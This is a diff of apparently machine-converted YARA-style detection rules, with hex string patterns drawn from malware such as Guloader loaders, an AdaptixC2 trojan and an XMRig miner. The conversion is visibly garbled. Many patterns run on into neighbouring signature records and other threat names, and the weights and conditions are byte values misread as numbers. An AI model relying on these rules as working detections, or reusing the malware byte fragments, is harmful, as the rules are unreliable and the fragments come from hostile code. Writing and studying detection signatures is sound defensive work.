45 ff 02 00 35 03 0f b6 00 0f be d0 48 8b 45 18 48 89 c1 e8 90 01 04 48 85 c0 75 07 b8 01 00 00 00 eb 05 b8 00 00 00 00 84 c0 74 14 48 8b 05 90 01 04 48 83 c0 01 48 89 05 90 00 00 00 78 e8 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 4f 31 32 33 21 4d } //-29742 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*32040+(#a_78_2 & 1)*25455+(#a_39_3 & 1)*17474+(#a_e8_4 & 1)*795+(#a_6b_5 & 1)*24898+(#a_34_6 & 1)*26452+(#a_6c_7 & 1)*18223+(#a_68_8 & 1)*30066+(#a_6e_9 & 1)*22330) >=8 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*32040+(#a_78_2 & 1)*25455+(#a_39_3 & 1)*17474+(#a_e8_4 & 1)*795+(#a_6b_5 & 1)*24898+(#a_34_6 & 1)*26452+(#a_6e_7 & 1)*22330+(#a_00_8 & 1)*144+(#a_50_9 & 1)*-29742) >=8 } -rule _InfrastructureShared_15294{ +rule _InfrastructureShared_16295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -177161,35 +188977,64 @@ rule _InfrastructureShared_15294{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_15295{ +rule _InfrastructureShared_16296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " strings : $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 53 68 61 72 70 53 74 61 74 73 2e 42 00 0a 00 33 81 01 5c 49 49 53 42 61 63 6b 64 6f 6f 72 5c 41 6e 74 53 77 6f 72 64 43 75 73 74 6f 6d 49 49 53 42 61 63 6b 64 6f 6f } //21539 $a_62_1 = {5c 52 65 6c 65 61 73 65 5c 05 00 40 81 01 4f 76 48 4d 49 31 72 45 52 71 37 4a 2f 57 7a 50 77 30 44 47 58 63 62 79 6f 6a 64 53 6e 73 39 41 51 74 55 75 2b 65 32 46 4e 78 56 43 4b 59 4c 70 36 5a 6d 6c 54 67 61 34 69 42 6b 35 66 33 38 68 05 00 3d 81 01 3c 21 2d 2d 20 7a 77 65 5a 35 31 4f 59 46 79 69 52 47 4b 4a 34 39 59 4f 61 58 31 47 } //23666 - $a_4d_2 = {64 6f 62 48 5f 55 6a 50 52 34 74 78 37 74 71 58 52 46 46 42 41 62 54 5f 20 2d 2d 3e 00 00 78 e8 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 4f 31 32 33 21 4d 54 42 00 01 00 14 81 01 64 79 73 70 68 61 } //28268 + $a_4d_2 = {64 6f 62 48 5f 55 6a 50 52 34 74 78 37 74 71 58 52 46 46 42 41 62 54 5f 20 2d 2d 3e 00 00 78 e8 00 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 64 61 70 74 69 78 43 32 2e 53 58 21 4d 54 42 00 05 00 54 03 48 8d 95 a0 fe } //28268 condition: ((#a_4c_0 & 1)*21539+(#a_62_1 & 1)*23666+(#a_4d_2 & 1)*28268) >=10 } -rule _InfrastructureShared_15296{ +rule _InfrastructureShared_16297{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 64 61 70 74 69 78 43 32 2e 53 58 21 4d 54 42 00 05 00 54 03 48 8d 95 a0 fe ff ff b8 00 00 00 00 b9 23 00 00 00 48 89 d7 f3 48 ab 48 89 fa 89 02 48 83 c2 04 c7 85 a0 } //21539 + $a_1c_1 = {00 00 48 8b 05 90 01 04 48 8b 00 4c 8b 50 20 48 8d 45 c4 41 b9 00 00 00 00 41 b8 0c 00 00 00 48 89 c2 b9 01 00 00 00 41 ff d2 90 00 03 00 27 01 ff d2 8b 85 50 ff ff ff 48 63 d0 48 69 d2 89 88 88 88 48 c1 ea 20 01 c2 c1 fa 05 c1 f8 1f 29 d0 88 45 ff 0f b6 45 ff 02 00 35 03 0f b6 00 0f be d0 48 8b 45 18 48 89 c1 e8 90 01 04 48 85 c0 75 07 b8 01 00 00 00 eb 05 b8 00 00 00 00 84 c0 74 14 48 8b 05 90 01 04 48 83 c0 01 48 89 05 90 00 00 00 78 e8 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 4f 31 32 33 21 4d 54 42 00 01 00 14 81 01 64 79 73 70 68 61 73 69 63 20 62 79 7a 61 6e 74 69 6e 73 6b 01 00 07 81 01 67 6c 6f 73 73 61 72 01 00 09 81 01 66 6f 72 61 65 6c 64 72 65 01 00 0f 81 01 73 76 69 74 73 65 74 20 64 } //-2 + $a_6f_2 = {61 01 00 12 81 01 53 6f 66 74 77 61 72 65 5c 74 61 6b 74 6c 73 65 73 74 01 00 09 81 01 44 72 75 6d 68 65 61 64 73 01 00 12 81 01 5c 73 70 69 6b 65 6c 69 6b 65 5c 45 6d 68 74 74 65 6e 01 00 13 81 01 48 61 6e 64 6c 65 66 72 69 68 65 64 65 6e 73 2e 61 62 6c 01 00 0b 81 01 4d 61 67 74 65 72 73 2e 74 78 74 01 00 0e 81 01 5c 4c 61 6e 67 75 73 74 5c 47 } //24937 + condition: + ((#a_4c_0 & 1)*21539+(#a_1c_1 & 1)*-2+(#a_6f_2 & 1)*24937) >=10 + +} +rule _InfrastructureShared_16298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 46 4f 31 32 33 21 4d 54 42 00 01 00 14 81 01 64 79 73 70 68 61 73 69 63 20 62 79 7a 61 6e 74 69 6e 73 6b 01 00 07 81 01 67 6c 6f 73 73 61 72 01 00 09 81 01 66 6f 72 61 65 6c 64 72 65 01 00 0f 81 } //18467 $a_69_1 = {73 65 74 20 64 69 61 74 6f 6d 61 01 00 12 81 01 53 6f 66 74 77 61 72 65 5c 74 61 6b 74 6c 73 65 73 74 01 00 09 81 01 44 72 75 6d 68 65 61 64 73 01 00 12 81 01 5c 73 70 69 6b 65 6c 69 6b 65 5c 45 6d 68 74 74 65 6e 01 00 13 81 01 48 61 6e 64 6c 65 66 72 69 68 65 64 65 6e 73 2e 61 62 6c 01 00 0b 81 01 4d 61 67 74 65 72 73 2e 74 78 74 01 00 0e 81 01 5c 4c } //29441 - $a_75_2 = {74 5c 47 72 61 64 65 00 00 78 e8 00 00 1f 00 15 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 65 62 7a 65 6e 70 61 6b 2e 53 49 42 21 4d 54 42 00 0a 00 41 02 74 00 61 00 62 00 64 00 6f 00 63 00 6b 00 90 02 02 5c 00 54 00 61 00 62 00 44 00 6f 00 63 00 6b 00 90 02 02 5c 00 53 00 6f 00 75 } //28257 - $a_00_4 = {90 02 06 2e 00 76 00 62 00 70 00 90 00 0a 00 1d 02 54 61 62 44 6f 63 6b 48 6f 73 74 5c 90 02 04 5c 54 61 62 44 6f 63 6b 2e 63 68 6d 90 00 0a 00 17 00 53 70 6e 6f 72 74 65 20 54 61 62 44 6f 63 6b 20 43 6f 6e 74 72 6f 6c 01 00 36 03 ff d3 c7 85 90 01 08 c7 85 90 01 08 8d 95 90 } //101 - $a_8d_5 = {01 04 ff d3 68 90 01 04 8b 1d 90 01 04 ff d3 50 68 90 01 04 ff d3 50 8b 0d 90 01 04 51 6a 00 e8 90 00 00 00 78 e8 00 00 c8 00 c8 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 47 61 72 62 61 67 65 53 6f 75 70 2e 41 21 64 68 61 00 32 00 12 01 74 00 72 00 61 00 73 00 68 00 2e 00 74 00 78 00 74 00 32 00 44 01 54 00 72 00 61 00 73 00 68 00 43 00 6f 00 6d 00 70 00 69 00 6c 00 65 00 72 00 2e 00 50 00 72 } //1025 - $a_00_7 = {74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 32 00 38 01 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 32 00 1c 01 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 } //101 ties.Resources2ĸFFFFFFFFFFFFFFFFFFFFFFFFFFFF2Ĝ@@@@@@@@@@@ - $a_00_8 = {40 00 00 00 78 e9 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 52 75 6e 4b 65 79 48 65 78 2e 41 00 01 00 c4 01 35 00 33 00 34 00 46 00 34 00 36 00 35 00 34 00 35 00 37 00 34 } //64 + $a_75_2 = {74 5c 47 72 61 64 65 00 00 78 e8 00 00 19 00 19 00 07 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 58 4d 52 69 67 00 0a 00 16 01 55 73 61 67 65 3a 20 78 6d 72 69 67 20 5b 4f 50 54 49 4f 4e 53 5d 01 00 0b 01 63 72 79 70 74 6f 6e 69 67 68 74 02 00 10 01 63 72 79 70 74 6f 6e 69 67 68 74 2d 6c 69 74 65 03 00 2b 01 6d } //28257 + $a_6d_3 = {6d 20 43 50 55 20 75 73 61 67 65 20 66 6f 72 20 61 75 74 6f 6d 61 74 69 63 20 74 68 72 65 61 64 73 6d 6f 64 65 04 00 25 01 70 72 69 6e 74 20 68 61 73 68 72 61 74 65 20 72 65 70 6f 72 74 20 65 76 65 72 79 20 4e 20 73 65 63 6f 6e 64 73 05 00 16 01 70 6f 72 74 20 66 6f 72 20 74 68 65 20 6d 69 6e 65 72 20 41 50 49 06 } //30817 + $a_65_4 = {61 } //6912 a + $a_20_5 = {69 63 65 68 61 73 68 2f 78 6d 72 69 67 2d 70 72 6f 78 79 00 00 78 e8 00 00 1f 00 15 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 65 62 7a 65 6e 70 61 6b 2e 53 49 42 21 4d 54 42 00 0a 00 41 02 74 00 61 00 62 00 64 00 6f 00 63 00 6b 00 90 02 02 5c 00 54 00 61 00 62 00 44 00 6f 00 } //27746 + $a_00_6 = {90 02 02 5c 00 53 00 6f 00 75 00 72 00 63 00 65 00 5c 00 90 02 06 2e 00 76 00 62 00 70 00 90 00 0a 00 1d 02 54 61 62 44 6f 63 6b 48 6f 73 74 5c 90 02 04 5c 54 61 62 44 6f 63 6b 2e 63 68 6d 90 00 0a 00 17 00 53 70 6e 6f 72 74 65 20 54 61 62 44 6f 63 6b 20 43 6f 6e 74 72 6f 6c 01 00 36 03 ff d3 c7 85 90 01 08 c7 85 90 01 } //99 + $a_90_7 = {04 8d 8d 90 01 04 ff d3 68 90 01 04 8b 1d 90 01 04 ff d3 50 68 90 01 04 ff d3 50 8b 0d 90 01 04 51 6a 00 e8 90 00 00 00 78 e8 00 00 c8 00 c8 00 04 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 47 61 72 62 61 67 65 53 6f 75 70 2e 41 21 64 68 61 00 32 00 12 01 74 00 72 00 61 00 73 00 68 00 2e 00 74 00 78 00 74 00 32 00 44 01 54 00 72 00 61 00 73 00 68 00 43 00 6f 00 6d 00 70 00 69 00 6c 00 65 00 72 00 2e 00 50 00 72 00 6f 00 70 } //-29432 + $a_00_9 = {65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 32 00 38 01 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 46 00 32 00 1c 01 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 } //116 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29441+(#a_75_2 & 1)*28257+(#a_00_4 & 1)*101+(#a_8d_5 & 1)*1025+(#a_00_7 & 1)*101+(#a_00_8 & 1)*64) >=10 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29441+(#a_75_2 & 1)*28257+(#a_6d_3 & 1)*30817+(#a_65_4 & 1)*6912+(#a_20_5 & 1)*27746+(#a_00_6 & 1)*99+(#a_90_7 & 1)*-29432+(#a_00_9 & 1)*116) >=10 } -rule _InfrastructureShared_15297{ +rule _InfrastructureShared_16299{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 07 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 58 4d 52 69 67 00 0a 00 16 01 55 73 61 67 65 3a 20 78 6d 72 69 67 20 5b 4f 50 54 49 4f 4e 53 5d 01 00 0b 01 63 72 79 70 74 6f 6e 69 67 68 74 02 00 10 01 63 72 79 70 74 6f 6e 69 67 68 74 2d 6c 69 74 65 03 00 2b 01 6d 61 78 69 6d 75 6d 20 } //20515 + $a_20_1 = {73 61 67 65 20 66 6f 72 20 61 75 74 6f 6d 61 74 69 63 20 74 68 72 65 61 64 73 6d 6f 64 65 04 00 25 01 70 72 69 6e 74 20 68 61 73 68 72 61 74 65 20 72 65 70 6f 72 74 20 65 76 65 72 79 20 4e 20 73 65 63 6f 6e 64 73 05 00 16 01 70 6f 72 74 20 66 6f 72 20 74 } //20547 + $a_6d_2 = {6e 65 72 20 41 50 49 06 00 1b 01 65 6e 61 62 6c 65 20 6e 69 63 65 68 61 73 68 2f 78 6d 72 69 67 } //25960 + $a_6f_3 = {79 00 00 78 e8 00 00 1f 00 15 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 65 62 7a 65 6e 70 61 6b 2e 53 49 42 21 4d 54 42 00 0a 00 41 02 74 00 61 00 62 00 64 00 6f 00 63 00 6b 00 90 02 02 5c 00 54 00 61 00 62 00 44 00 6f 00 63 00 6b 00 90 02 02 5c 00 53 00 6f 00 75 00 72 00 63 00 65 00 5c 00 90 02 06 2e 00 76 00 62 } //28717 + $a_02_5 = {54 61 62 44 6f 63 6b 48 6f 73 74 5c [0-04] 5c 54 61 62 44 6f 63 6b 2e 63 68 6d } //10 + $a_00_6 = {53 70 6e 6f 72 74 65 20 54 61 62 44 6f 63 6b 20 43 6f 6e 74 72 6f 6c } //10 Spnorte TabDock Control + condition: + ((#a_41_0 & 1)*20515+(#a_20_1 & 1)*20547+(#a_6d_2 & 1)*25960+(#a_6f_3 & 1)*28717+(#a_02_5 & 1)*10+(#a_00_6 & 1)*10) >=25 + +} +rule _InfrastructureShared_16300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 15 00 04 00 21 " @@ -177201,7 +189046,7 @@ rule _InfrastructureShared_15297{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99+(#a_90_3 & 1)*-11265) >=21 } -rule _InfrastructureShared_15298{ +rule _InfrastructureShared_16301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 04 00 21 " @@ -177214,7 +189059,7 @@ rule _InfrastructureShared_15298{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_2 & 1)*284+(#a_35_3 & 1)*-15360) >=200 } -rule _InfrastructureShared_15299{ +rule _InfrastructureShared_16302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -177224,7 +189069,7 @@ rule _InfrastructureShared_15299{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_15300{ +rule _InfrastructureShared_16303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -177235,7 +189080,7 @@ rule _InfrastructureShared_15300{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*4034) >=1 } -rule _InfrastructureShared_15301{ +rule _InfrastructureShared_16304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -177246,7 +189091,7 @@ rule _InfrastructureShared_15301{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*11312) >=1 } -rule _InfrastructureShared_15302{ +rule _InfrastructureShared_16305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -177256,7 +189101,7 @@ rule _InfrastructureShared_15302{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_15303{ +rule _InfrastructureShared_16306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -177266,7 +189111,7 @@ rule _InfrastructureShared_15303{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_15304{ +rule _InfrastructureShared_16307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -177278,7 +189123,7 @@ rule _InfrastructureShared_15304{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*24832+(#a_c0_2 & 1)*18672) >=2 } -rule _InfrastructureShared_15305{ +rule _InfrastructureShared_16308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -177290,7 +189135,7 @@ rule _InfrastructureShared_15305{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_19_2 & 1)*1) >=2 } -rule _InfrastructureShared_15306{ +rule _InfrastructureShared_16309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -177302,7 +189147,7 @@ rule _InfrastructureShared_15306{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*400+(#a_88_2 & 1)*656) >=3 } -rule _InfrastructureShared_15307{ +rule _InfrastructureShared_16310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -177314,7 +189159,7 @@ rule _InfrastructureShared_15307{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1908+(#a_53_2 & 1)*8993) >=3 } -rule _InfrastructureShared_15308{ +rule _InfrastructureShared_16311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -177325,7 +189170,7 @@ rule _InfrastructureShared_15308{ ((#a_54_0 & 1)*18467+(#a_18_2 & 1)*4360) >=3 } -rule _InfrastructureShared_15309{ +rule _InfrastructureShared_16312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -177337,7 +189182,7 @@ rule _InfrastructureShared_15309{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*1553+(#a_01_2 & 1)*22342) >=3 } -rule _InfrastructureShared_15310{ +rule _InfrastructureShared_16313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -177351,7 +189196,7 @@ rule _InfrastructureShared_15310{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568+(#a_2d_2 & 1)*23085+(#a_3a_3 & 1)*28531+(#a_bd_4 & 1)*26112) >=3 } -rule _InfrastructureShared_15311{ +rule _InfrastructureShared_16314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -177365,7 +189210,7 @@ rule _InfrastructureShared_15311{ ((#a_46_0 & 1)*21283+(#a_ff_1 & 1)*-524+(#a_65_2 & 1)*12079+(#a_74_3 & 1)*25857+(#a_45_4 & 1)*21061) >=3 } -rule _InfrastructureShared_15312{ +rule _InfrastructureShared_16315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -177380,7 +189225,7 @@ rule _InfrastructureShared_15312{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*12152+(#a_72_2 & 1)*29537+(#a_01_3 & 1)*-17179+(#a_90_4 & 1)*-20504+(#a_26_5 & 1)*-16187) >=3 } -rule _InfrastructureShared_15313{ +rule _InfrastructureShared_16316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -177396,7 +189241,7 @@ rule _InfrastructureShared_15313{ ((#a_46_0 & 1)*16675+(#a_af_1 & 1)*-5991+(#a_61_2 & 1)*29541+(#a_bd_3 & 1)*18430+(#a_6e_4 & 1)*27247+(#a_00_5 & 1)*2067+(#a_78_6 & 1)*384) >=3 } -rule _InfrastructureShared_15314{ +rule _InfrastructureShared_16317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -177409,7 +189254,7 @@ rule _InfrastructureShared_15314{ ((#a_54_0 & 1)*18467+(#a_97_1 & 1)*-5926+(#a_73_2 & 1)*16714+(#a_72_3 & 1)*12653) >=4 } -rule _InfrastructureShared_15315{ +rule _InfrastructureShared_16318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -177422,7 +189267,7 @@ rule _InfrastructureShared_15315{ ((#a_54_0 & 1)*18467+(#a_d5_1 & 1)*4113+(#a_65_2 & 1)*29301+(#a_61_3 & 1)*14955) >=4 } -rule _InfrastructureShared_15316{ +rule _InfrastructureShared_16319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -177433,7 +189278,7 @@ rule _InfrastructureShared_15316{ ((#a_41_0 & 1)*20515+(#a_00_2 & 1)*101) >=4 } -rule _InfrastructureShared_15317{ +rule _InfrastructureShared_16320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -177446,7 +189291,7 @@ rule _InfrastructureShared_15317{ ((#a_6d_0 & 1)*19235+(#a_20_1 & 1)*8293+(#a_01_3 & 1)*1+(#a_e9_4 & 1)*0) >=4 } -rule _InfrastructureShared_15318{ +rule _InfrastructureShared_16321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -177460,7 +189305,7 @@ rule _InfrastructureShared_15318{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 } -rule _InfrastructureShared_15319{ +rule _InfrastructureShared_16322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -177478,7 +189323,7 @@ rule _InfrastructureShared_15319{ ((#a_46_0 & 1)*21283+(#a_20_1 & 1)*28005+(#a_6e_2 & 1)*22304+(#a_1f_3 & 1)*257+(#a_09_4 & 1)*257+(#a_1f_5 & 1)*400+(#a_90_6 & 1)*-25230+(#a_10_7 & 1)*257+(#a_1f_8 & 1)*400) >=4 } -rule _InfrastructureShared_15320{ +rule _InfrastructureShared_16323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -177488,7 +189333,7 @@ rule _InfrastructureShared_15320{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_15321{ +rule _InfrastructureShared_16324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -177501,7 +189346,7 @@ rule _InfrastructureShared_15321{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*19201+(#a_73_2 & 1)*9070+(#a_41_4 & 1)*8448) >=5 } -rule _InfrastructureShared_15322{ +rule _InfrastructureShared_16325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -177513,7 +189358,7 @@ rule _InfrastructureShared_15322{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*80+(#a_00_4 & 1)*92) >=5 } -rule _InfrastructureShared_15323{ +rule _InfrastructureShared_16326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -177526,7 +189371,7 @@ rule _InfrastructureShared_15323{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_61_3 & 1)*7936+(#a_63_4 & 1)*28257) >=5 } -rule _InfrastructureShared_15324{ +rule _InfrastructureShared_16327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -177539,7 +189384,7 @@ rule _InfrastructureShared_15324{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*108+(#a_23_3 & 1)*7+(#a_65_5 & 1)*384) >=5 } -rule _InfrastructureShared_15325{ +rule _InfrastructureShared_16328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -177554,7 +189399,7 @@ rule _InfrastructureShared_15325{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29279+(#a_65_2 & 1)*26996+(#a_31_3 & 1)*12390+(#a_00_4 & 1)*29541+(#a_00_6 & 1)*111) >=5 } -rule _InfrastructureShared_15326{ +rule _InfrastructureShared_16329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -177568,7 +189413,7 @@ rule _InfrastructureShared_15326{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=6 } -rule _InfrastructureShared_15327{ +rule _InfrastructureShared_16330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -177578,12 +189423,27 @@ rule _InfrastructureShared_15327{ $a_81_2 = {47 65 74 54 79 70 65 73 } //1 GetTypes $a_81_3 = {43 61 65 73 61 72 45 6e 63 72 79 70 74 } //1 CaesarEncrypt $a_81_4 = {52 65 70 6c 61 63 65 } //1 Replace - $a_e9_5 = {00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 4e 48 31 32 33 21 4d 54 42 00 01 00 1f 81 01 69 6e 64 74 6a 65 6e 69 6e 67 73 62 69 64 72 61 67 65 6e 65 73 20 6c 65 6d 6f 6e 66 69 73 68 01 00 07 81 01 64 65 6c 61 74 65 72 01 00 34 81 01 64 65 63 69 6d 61 6c 74 61 62 75 6c 65 72 65 74 20 6f 72 64 64 65 6c 69 6e 67 } //0 + $a_e9_5 = {00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 55 30 31 21 4d 54 42 00 01 00 24 81 01 6d 61 72 6d 61 72 6f 73 69 73 20 76 65 68 69 63 75 6c 61 74 69 6f 6e 20 62 65 72 74 68 6f 6c 6c 65 74 69 61 01 00 28 81 01 66 69 6e 65 72 69 6e 67 65 6e 73 20 67 72 75 6e 64 62 79 67 67 65 73 74 65 6e 65 6e 65 20 70 61 6c 6d 65 } //0 condition: ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*22568+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_e9_5 & 1)*0) >=6 } -rule _InfrastructureShared_15328{ +rule _InfrastructureShared_16331{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 55 30 31 21 4d 54 42 00 01 00 24 81 01 6d 61 72 6d 61 72 6f 73 69 73 20 76 65 68 69 63 75 6c 61 74 69 6f 6e 20 62 65 72 74 68 6f 6c 6c 65 74 69 61 01 00 28 81 01 66 69 6e 65 72 69 6e 67 65 6e 73 } //18467 + $a_75_1 = {64 62 79 67 67 65 73 74 65 6e 65 6e 65 20 70 61 6c 6d 65 6f 6c 69 65 73 01 00 0c 81 01 73 79 74 74 65 6e 64 65 64 65 6c 65 01 00 1b 81 01 6a 6f 69 6e 65 72 20 61 6e 61 6c 6f 67 69 63 61 6c 6e 65 73 73 20 7a 65 62 75 73 01 00 21 81 01 62 72 61 6b 74 65 61 74 65 72 20 73 6b 61 74 74 65 62 6f 72 67 65 72 73 20 70 72 69 6f 72 61 74 65 01 00 0f } //26400 + $a_75_2 = {6f 6d 6f 72 66 69 67 72 75 70 70 65 00 00 78 e9 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 4e 48 31 32 33 21 4d 54 42 00 01 00 1f 81 01 69 6e 64 74 6a 65 6e 69 6e 67 73 62 69 64 72 61 67 65 6e 65 73 20 6c 65 6d 6f 6e 66 69 73 68 01 00 07 } //385 + $a_65_3 = {61 74 65 72 